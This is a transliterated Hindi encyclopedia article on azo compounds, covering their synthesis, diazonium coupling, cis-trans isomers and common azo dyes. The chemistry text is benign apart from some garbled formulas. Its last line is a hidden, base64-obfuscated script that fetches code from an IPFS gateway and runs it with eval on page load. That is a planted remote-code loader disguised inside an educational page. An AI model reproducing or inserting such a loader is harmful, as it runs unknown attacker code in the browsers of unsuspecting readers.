ऐज़ो यौगिक
aizo yaugik aise karbanik yaugik ko kahate haian jisamean N= N samooh ho aur yah karbanik moolakoan se sanyukt ho. aizo-benazin sabase saral aizo yaugik hai. yah naitrobenazin ko jasta aur kshar, sodiyam parad mishradhatu aur tanu ailakohal ya kshariy stainas haidr aauksaid vilayan se avakrit karane par banata hai:
2RNO2 + 4H2 ® RN= NR +4H2 O
tuly matra ke airomaitik praimari aimin aur naitroso yaugik ko saandr aisitik aml ke sath garam karane par aizo yaugik banate haian aur pani mukt hota hai :
RNO+ H2 NR® RN= NR+H2O
aizo yaugik adhikaansh dai aizoniyam lavan ko praimari, sekeandari aur tarshiyari aimin, finol ya fanolik estar se jo dakar banae jate haian. is kriya mean pahale dai-aizoniyam lavan praimari aur sekeandari airomaitik aimin se pratikriya kar dai-aizoaimino yaugik banate haian:
C6 H5 N2 Cl + NH2 C6 H5 ® C6H5 N= N– NHC6 H5+HCI
dai-aizoaimino yaugik banane ke lie kam khanij aml ki upasthiti mean ainilin kshar par naitras aml ki abhikriya karaee jati hai. dai-aizoaimino yaugik pile rang ke mand kshariy gunavale manibh yaugik haian jo amloan se sanyog karate haian, parantu taanba, chaandi aur potesiyam ke lavan bhi banate haian jinamean naitrojan se sabanddh yah haidrojan chal prakriti ka hota hai aur yah ek naitrojan paramanu se doosare naitrojan paramanu par ja sakata hai. isaka praman yah hai ki yadi finol aizoniyam lavan ko tolyoodin se jo da jae ya tolil dai-aizoniyam lavan ko enilin se jo da jae to donoan dasha mean ek hi yaugik banata hai, anyatha pahale sanyog mean sootr (1) ka yaugik banata aur doosare sanyog mean sootr (2) ka yaugik prapt hota:
C6H5N= N– NHC6 H4CH3; CH3 C6 H4= N– NHC6 H5
(1) (2)
vastavik bane yaugik ka sootr (1) hota hai jisamean adhik dhaniy karbanik tolil moolak aimino samooh se sanbaddh hota hai.
karbanik kshar ko haidrokloraid ke sath garam karane par ya adhik khanij aml ki upasthiti mean dai-ezoaimino yaugik aimino-aizo yaugik mean parivartit ho jate haian.
dai-aizoaimino benazin aimino aizo-benazin
yah parivartan para sthiti se hota hai, parantu yadi yahaan koee moolak upasthit hua to yah adan pradan aaurtho sthiti se hota hai. is kriya dvara bahut se aimino aizo ranjak banae jate haian.
tarshiyari airomaitik aimin dai-aizoniyam lavan se sangog karate haian aur aimino-aizo-yaugik pratyaksh banate haian, jinamean aizo samooh tarshiyari aimino samooh ke para sthan mean ju da rahata hai.
dai-aianzoniyam lavan phhऱinol ke kshariy vilayan se sanyog karane par haidraksi aizo yaugik banate haian. is kriya mean pray: dai-aizoaksaid banata hai.
daimethil ainilin daimethil aimino aizobenazin
dai-aizoaksaid haidraksiaizo yaugik
finolik estar ki dai-aianzoniyam lavan se ju dane ki shakti aimin aur finol se kam hai. is kriya ke lie yah avashyak hai ki kriya nirjal sthiti mean ki jae. isalie pray: yah kriya saandr aisitik aml mean ki jati hai.
byootadai-een jaise asantript haidrokarban aur misitilin se naitroenilin ke dai-aizoniyam yaugik sanyog karate haian. misitilin, prikramaid ke dai-aizoniyam lavan se sanyog karata hai aur ek aizoranjak banata hai.
misitilin aur pikramaid ke dai-aizoniyam lavan ke sanyog se bana aizoranjak.
dai-aizoniyam lavan ka naipthol aur naipthil aimin se sanyog vishesh mahatvapoorn hai. ailphhऱa-naipthol haidraksi samooh ke para sthan se ju data hai, parantu yadi is sthan par koee samooh upasthit hua to yah sanyog aaurtho sthan se hota hai. bita-naipthol mean aizo moolak 1 (ailfa) sthan grahan karata hai. bita-naipthil aimin mean bhi isi prakar ka sanyog hota hai. dai-aizo-amoniyam lavan aimino-haidraksi-aimin se kshariy vilayan mean haidraksi samooh se ju data hai, parantu amliy vilayan mean yah sanyog aimino samooh se hota hai. is tarah ek hi aimino-naipthol se vilayan ko kshariy ya amliy karake vibhinn prakar ke ranjak banae ja sakate haian:
siddhaantanusar aizo yaugikoan ke sis, traans, do samavayavi roop hone chahie.
R N R N
II II
R N N R
is prakar ke samavayavoan par abhi adhik khoj nahian huee hai. traansaizo benazin par prakash dalane par yah sis-roop mean parivartit ho jata hai. sis samavayavi ka vartanaank aur avashoshan gunaank traans samavayavi se bhinn hai. prakash ke prabhav se santulan ki sthiti utpann ho jati hai, jisamean lagabhag 27 pratishat sis- aur 73 pratishat traans-samavayavi rahate haian.[1]
aizo ranjak do prakar ke hote haian. ek ko kshariy ranjak aur doosare ko amliy ranjak kahate haian. kshariy ranjakoan mean ainilin yalo, bismark braun, jenas red ityadi pramukh haian. ainilin yalo ka rasayanik nam para-aimino aizobenazin hai. yah pile rang ka ranjak hai, jo aml mean baiangani rang ka ho jata hai. bismark braun meta-fenilin-daiaimin par naitras aml ki kriya dvara banaya jata hai. is ranjak ka upayog cham da rangane ke kam mean hota hai. jenas red ranjak ruee aur oon ko amliy ushmak mean rangata hai. isaka prayog ruee aur oon ke mishrit soot tatha resham ke tage rangane mean hota hai. amliy ranjakoan mean methil aaureanj, ailfa -naipthol aaureanj, fast red e aur bi, naipthil-aimin blaik di, viktoriya vayalet ityadi pramukh ranjak haian.[2]
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>